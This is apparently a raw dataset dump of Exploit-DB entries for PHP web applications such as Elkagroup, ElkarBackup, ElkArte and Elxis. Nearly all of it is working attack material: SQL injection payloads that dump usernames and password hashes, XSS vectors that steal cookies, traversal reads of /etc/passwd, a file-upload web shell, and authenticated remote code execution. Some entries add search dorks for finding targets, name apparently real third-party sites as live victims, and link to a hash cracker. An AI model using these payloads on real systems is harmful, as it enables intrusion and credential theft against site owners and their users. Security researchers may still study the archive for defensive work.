deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10330
Description: Elkagroup - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-06
Author: SadHaCkEr

Exploit:
#Dork : "powered by: elkagroup"

[*]############################################## 
[+] |____SadHaCkEr__|__\              #
[+] |______________________|___||\*___          #
[+] |______________________|___||""|"*\___,     #
[+] |______________________|___||""|*"|___||    #
[+] "([ (@)''(@)""""""(|*(@)(@)********(@)*     #
[+]========================================================================================================================================||
[*] About    : elkagroup  SQL Injection Vulnerability (Iranian Script) 																	    ||
[!] Site     : http://www.elkagroup.com                               																		||
[!] Author   : SadHaCkEr                                            																	    ||
[!] Site     : www.alkrsan.net + www.tryag.cc                     																			||                                            
[!] E-Mail   : sad@hack3d.org                     																	        ||
[!] Location : Saudi Arabia                                         																	    ||
[!]=========================================================================================================================================||
[!]                                                   MyWebSite    http://www.sadx.297m.com                           																	||
[!]=========================================================================================================================================||
[!] Exp:
[!]  http://server/news/?id=[SQL]                       																		||
[!]
[!]    [SQL] :                                                        																	    ||
[!]	    UNION SELECT 1,2,3,4,5,6,7,8,9,10,group_concat(username,char(58),password),12,13,14,15,16,17,18,19,20,21,22,23 FROM+cm_user--
[!]                      											  																	    ||
[!]   
[!]                                          					    															       	    ||   
[!]					Greetz 2 : alkrsan - þAlaooy HaCkEr - S.C.T - RXH - ayaster - Mr.Wolf  and All My Friends 
[!]                           										   																	    ||
[!]														    Sad Team
[!]                                    					               																		||
[!]
[!]                                                              
[!]=========================================================================================================================================||
Exploit-DB #34616
Description: Elkagroup Elkapax - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-13
Author: Isfahan

Exploit:
source: https://www.securityfocus.com/bid/43131/info

Elkagroup Elkapax is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/?q=<script>alert(123)</script>&mode=2
Exploit-DB #32542
Description: Elkagroup Image Gallery 1.0 - 'view.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-28
Author: G4N0K

Exploit:
source: https://www.securityfocus.com/bid/31966/info

Elkagroup is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects Elkagroup 1.0; other versions may also be affected. 

http://www.example.com/view.php?cid=-33%20UNION%20ALL%20SELECT%200,user(),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--&uid=0&new=0
Exploit-DB #8514
Description: Elkagroup Image Gallery 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-04-22
Author: Securitylab.ir

Exploit:
######################### Securitylab.ir ########################
# Application Info:
# Name: elkagroup Image Gallery
# Dork: elkagroup - Image Gallery v1.0 -  All right reserved
#################################################################
# Discoverd By: Securitylab.ir 
# Website: http://Securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High 
#===========================================================
# Register here:
# http://site.ir/gallery/register.php
#
# Login:
# http://site.ir/gallery/login.php
#
# Go to this link:
# http://site.ir/gallery/upload.php
#
# Upload your script's shell,See your shell here:
# http://site.ir/gallery/pictures
#===========================================================
#
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-04-22]
Exploit-DB #4114
Description: Elkagroup Image Gallery 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-06-26
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+            Image Gallery 1.0 SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog


SCRIPT DOWNLOAD: N/A


SITE: http://www.elkagroup.com/


DORK: intext:elkagroup  Image Gallery v1.0

DESCRIPTION: With this vuln you can display every user:hash in the database

EXPLOITS:

EXPLOIT 1: http://www.server.com/SCRIPT_PATH/property.php?cid=9&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16,17%20from%20users



EXAMPLES:

EXAMPLE 1: http://www.abfa-esfahan.com/gallery/property.php?cid=9&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16,17%20from%20users

EXAMPLE 2 (getting diffrent user): http://www.qanat.info/en/gallery/property.php?cid=0&uid=0&pid=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,concat(username,0x3A,userpassword),9,10,11,12,13,14,15,16%20from%20users%20%20where%20username%20not%20in%20(0x71616E6174696E)

NOTE/TIP: hex the first username you get with EXAMPLE 1 then use EXAMPLE 2 and replace the hex with your new hex, To get diffrent users.
Also sometimes te columns may vary so if its not working correct, add a few columns and remove a few, Enjoy.

NOTE/TIP: The md5 has 13 characters removed from the end.

Cracking Hashes: the hash this script uses is a modifed MD5 i have coded a tool for any type of md5 hash it works very well and is extremely fast while
leaveing your cpu untouched, download it here: http://www.h4cky0u-filez.org/5819352

GREETZ: str0ke, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+            Image Gallery 1.0 SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-26]
Exploit-DB #49121
Description: ElkarBackup 1.3.3 - 'Policy[name]' and 'Policy[Description]' Stored Cross-site Scripting
Type: webapps
Platform: php
Date: 2020-11-27
Author: Vyshnav nk

Exploit:
# Exploit Title: ElkarBackup 1.3.3 - 'Policy[name]' and 'Policy[Description]' Stored Cross-site Scripting
# Date: 2020-08-22
# Exploit Author: Vyshnav NK
# Vendor Homepage: https://www.elkarbackup.org/
# Software Link: https://github.com/elkarbackup/elkarbackup/wiki/Installation
# Version: 1.3.3
# Tested on: Linux

Reproduction Steps: 

1 - Go to the elakarbackup/login
2 - Login with default credentials
3 - Go to Policies >> Action >> Edit any of the existing Policies >> Insert XSS Payload in Paramter "Policy[name] and Policy[Description]"
4 - Click on Save 
5 - We can see the Javacript Code executed Sucessfully 


XSS Attack vectors :

"><svg/onload=alert(4)>
"><svg/onload=alert(document.cookie)>



Request : 

POST /policy/1 HTTP/1.1
Host: ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1123
Origin: http://ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com
Connection: close
Referer: http://ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com/policy/1?
Cookie: PHPSESSID=03e0bcfa5864ffe758916b5e171c1505
Upgrade-Insecure-Requests: 1

Policy%5Bname%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5Bdescription%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5BhourlyHours%5D=12%3A00%7C15%3A00%7C21%3A00&Policy%5BhourlyDaysOfMonth%5D=&Policy%5BhourlyDaysOfWeek%5D=1%7C2%7C3%7C4%7C5&Policy%5BhourlyMonths%5D=&Policy%5BhourlyCount%5D=0&Policy%5BdailyHours%5D=21%3A00&Policy%5BdailyDaysOfMonth%5D=&Policy%5BdailyDaysOfWeek%5D=1%7C2%7C3%7C4%7C5&Policy%5BdailyMonths%5D=&Policy%5BdailyCount%5D=5&Policy%5BweeklyHours%5D=21%3A00&Policy%5BweeklyDaysOfMonth%5D=&Policy%5BweeklyDaysOfWeek%5D=1&Policy%5BweeklyMonths%5D=&Policy%5BweeklyCount%5D=4&Policy%5BmonthlyHours%5D=21%3A00&Policy%5BmonthlyDaysOfMonth%5D=1&Policy%5BmonthlyDaysOfWeek%5D=&Policy%5BmonthlyMonths%5D=&Policy%5BmonthlyCount%5D=12&Policy%5ByearlyHours%5D=21%3A00&Policy%5ByearlyDaysOfMonth%5D=&Policy%5ByearlyDaysOfWeek%5D=&Policy%5ByearlyMonths%5D=&Policy%5ByearlyCount%5D=0&Policy%5Bexclude%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5Binclude%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5BsyncFirst%5D=1&Policy%5B_token%5D=B6JELPCVSHiZrMvyEeeBdRMLYSKBWfUMUwBeLWw8XpI&weekly-day=on


Response :

<form data-bnv-message="Really delete policy "><svg/onload=alert(4)>?" class="delete-policy" action="/policy/1/delete" method="POST" style="display:inline">
Exploit-DB #48756
Description: ElkarBackup 1.3.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-08-20
Author: Enes Özeser

Exploit:
# Exploit Title: ElkarBackup 1.3.3 - Persistent Cross-Site Scripting
# Date: 2020-08-14
# Exploit Author: Enes Özeser
# Vendor Homepage: https://www.elkarbackup.org/
# Version: 1.3.3
# Tested on: Linux

1- Go to following url. >> http://(HOST)/elkarbackup/login
2- Default username and password is root:root. We must know login credentials. 
3- Go to "Jobs" and press "Add client" button.
4- Write XSS payload in "Name" section.
5- Press "Save" button.

(( Executable XSS Payloads ))

1- "><script>alert('XSS Confirmed!');</script>
2- "><script>alert("XSS Confirmed!");</script>
3- "><script>alert(document.cookie);</script>
4- "><script>alert(document.domain);</script>


(( REQUEST ))

POST /elkarbackup/client/2 HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://(HOST)/elkarbackup/client/2
Content-Type: application/x-www-form-urlencoded
Content-Length: 358
Connection: close
Cookie: PHPSESSID=dop3m1qj8c5octaxuasd21as2
Upgrade-Insecure-Requests: 1

Client%5Bname%5D=%22%3E%3Cscript%3Ealert%28%22XSS+Confirmed%21%22%29%3C%2Fscript%3E&
Client%5Burl%5D=&Client%5Bquota%5D=-1&Client%5Bdescription%5D=&Client%5BisActive%5D=1&
Client%5BmaxParallelJobs%5D=1&Client%5Bowner%5D=1&Client%5BsshArgs%5D=&Client%5BrsyncShortArgs%5D=&
Client%5BrsyncLongArgs%5D=&Client%5B_token%5D=yrL8pXqx-sTVYhLQBpL523I-BOnSqoRyZnd5MUt2bfI
Exploit-DB #52026
Description: ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2024-05-31
Author: tmrswrr

Exploit:
# Exploit Title : ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated) 
# Date: 2024-5-24
# Exploit Author: tmrswrr
# Category: Webapps
# Vendor Homepage: https://www.elkarte.net/
# Software Link : https://github.com/elkarte/Elkarte/releases/download/v1.1.9/ElkArte_v1-1-9_install.zip
# Version : 1.1.9


1) After login go to Manage and Install theme > https://127.0.0.1/ElkArte/index.php?action=admin;area=theme;sa=admin;c2e3e39a0d=276c2e3e39a0d65W2qg1voAFfX1yNc5m
2) Upload test.zip file and click install > test.zip > test.php > <?php echo system('id'); ?>
3) Go to Theme Setting > Theme Directory > https://127.0.0.1/ElkArte/themes/test/test.php
Result : uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte) uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte)
Exploit-DB #15404
Description: eLouai's Force Download Script - Arbitrary Local File Download
Type: webapps
Platform: php
Date: 2010-11-03
Author: v1R00Z

Exploit:
+---------------------------------------------------------------------------------------------+

			          __    _______  _______  _______  _______ 
			|\     /|/  \  (  ____ )(  __   )(  __   )/ ___   )
			| )   ( |\/) ) | (    )|| (  )  || (  )  |\/   )  |
			| |   | |  | | | (____)|| | /   || | /   |    /   )
			( (   ) )  | | |     __)| (/ /) || (/ /) |   /   / 
			 \ \_/ /   | | | (\ (   |   / | ||   / | |  /   /  
			  \   /  __) (_| ) \ \__|  (__) ||  (__) | /   (_/\
 			   \_/   \____/|/   \__/(_______)(_______)(_______/
                                                   GREETINGS TO ALL evilZONE.ORG MEMBERS
  	
+---------------------------------------------------------------------------------------------+		
|
|[+] Exploit Title:  eLouai's Force Download of media files script														
|[+] Date: 2010-11-02
|[+] Author  : v1R00Z
|[+] Software Link: http://www.hotscripts.com/listing/elouais-force-download-script/
|[+] Tested on: Ubuntu 10.10
|[+] Contact : v_1_r@hotmail.com	
|[+] Website : http://evilzone.org/
|[+] Greeting: Evilzone, intern0t Cr3w
|
|[+] Exploit :
| 
|http://www.yoursite.com/force-download.php?file=../../../../etc/passwd
|
|											       |				
+----------------------------------------------------------------------------------------------+
Exploit-DB #9342
Description: elvin bts 1.2.2 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-03
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Elvin BTS 1.2.2 (SQL/XSS) Multiple Remote Vulnerabilities
# [+] Software : Elvin BTS
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special : Moudi my Brozazaaaaaaaaaaaa
# [+] Download : http://www.elvinbts.org/?Download
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerabilities
#
#	[+] SQL
#
#		- http://www.site.com/show_activity.php?id=null+union+select+1,2,3,4,5,version(),7,8--
#		
#			[+] Demo
#
#				- http://landfill.elvinbts.org/show_activity.php?id=null+union+select+1,2,3,4,5,version(),7,8--
#
#	[+] XSS
#
#		- http://www.site.com/buglist.php?component=[XSS/IFRAME/REDIRECTION]
#
#		- http://www.site.com/buglist.php?priority=[XSS/IFRAME/REDIRECTION]
#
#		- http://www.site.com/createaccount.php => Username : "'><script>alert('xss')</script>
# 							=> E-mail : "'><script>alert('xss')</script>
# 							=> Pass : "'><script>alert('xss')</script>
# 							=> Confirm pass : "'><script>alert('xss')</script>
#
#			[+] Demo
#
#				- http://landfill.elvinbts.org/buglist.php?component=%22%27%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E
#
# 				- http://landfill.elvinbts.org/buglist.php?priority=%22%27%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E
#
#				- http://landfill.elvinbts.org/createaccount.php
#
#
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-08-03]
Exploit-DB #33383
Description: Elxis - 'Filename' Directory Traversal
Type: webapps
Platform: php
Date: 2009-11-30
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/37158/info

Elxis is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/includes/feedcreator.class.php?filename=../../../../../../etc/passwd
Exploit-DB #34813
Description: Elxis 2009.2 rev2631 - SQL Injection
Type: webapps
Platform: php
Date: 2010-10-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/43743/info

Elxis is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Elxis 2009.2 electra rev2631 is vulnerable; other versions may be affected. 

http://www.example.com/administrator/index2.php?option=com_content&sectionid=0&task=edit&hidemainmenu=1&id=999'+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+c
Exploit-DB #32487
Description: Elxis CMS 2008.1 - '/modules/mod_language.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-14
Author: faithlove

Exploit:
source: https://www.securityfocus.com/bid/31764/info

Elxis CMS is prone to multiple cross-site scripting and session-fixation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The application is also prone to a session-fixation vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Using the session-fixation issue, the attacker can hijack the session and gain unauthorized access to the affected application.

Elxis CMS 2006.1 is vulnerable; other versions may also be affected.

http://www.example.net/index.php?>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&id=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&task=view&bid=>"><script>alert("XSS Vuln")</script>
http://www.example.net/index.php?option=com_poll&Itemid=1&task=view&contact_id=>"><script>alert("XSS Vuln")</script>
Exploit-DB #32488
Description: Elxis CMS 2008.1 - PHPSESSID Variable Session Fixation
Type: webapps
Platform: php
Date: 2008-10-14
Author: faithlove

Exploit:
source: https://www.securityfocus.com/bid/31764/info
 
Elxis CMS is prone to multiple cross-site scripting and session-fixation vulnerabilities because it fails to sufficiently sanitize user-supplied data. The application is also prone to a session-fixation vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Using the session-fixation issue, the attacker can hijack the session and gain unauthorized access to the affected application.
 
Elxis CMS 2006.1 is vulnerable; other versions may also be affected.

http://www.site.com/?PHPSESSID=[session_fixation]
Exploit-DB #36407
Description: Elxis CMS 2009 - 'administrator/index.php' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-05
Author: Ewerson Guimaraes

Exploit:
source: https://www.securityfocus.com/bid/50910/info
 
Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com//elxis/administrator/index.php/%22onmouseover=prompt(dclabs)%3E
Exploit-DB #36406
Description: Elxis CMS 2009 - 'index.php?task' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-05
Author: Ewerson Guimaraes

Exploit:
source: https://www.securityfocus.com/bid/50910/info

Elxis CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/elxis/index.php?id=3&Itemid=9&option=com_content&task=%22%20onmouseover%3dprompt%28dclabs%29%20dcl%3d%22
Exploit-DB #15647
Description: Elxis CMS 2009.2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-30
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22700
Reference: http://www.htbridge.ch/advisory/sql_injection_in_elxis_cms_1.html
Product: Elxis CMS
Vendor: Elxis Team ( http://www.elxis.org/ ) 
Vulnerable Version: 2009.2 electra
Vendor Notification: 16 November 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in usercookie[password] variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


GET /index.php HTTP/1.1
Cookie: usercookie[username]=username; usercookie[password]=123'SQL_CODE_HERE


Solution: Upgrade to the most recent version

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in X_FORWARDED_FOR variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


POST /index.php?option=com_poll&Itemid=17 HTTP/1.1
X_FORWARDED_FOR: 123'SQL_CODE_HERE
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

voteid=1&option=com_poll&task=vote&id=1&Itemid=17&task_button=Vote

Solution: Upgrade to the most recent version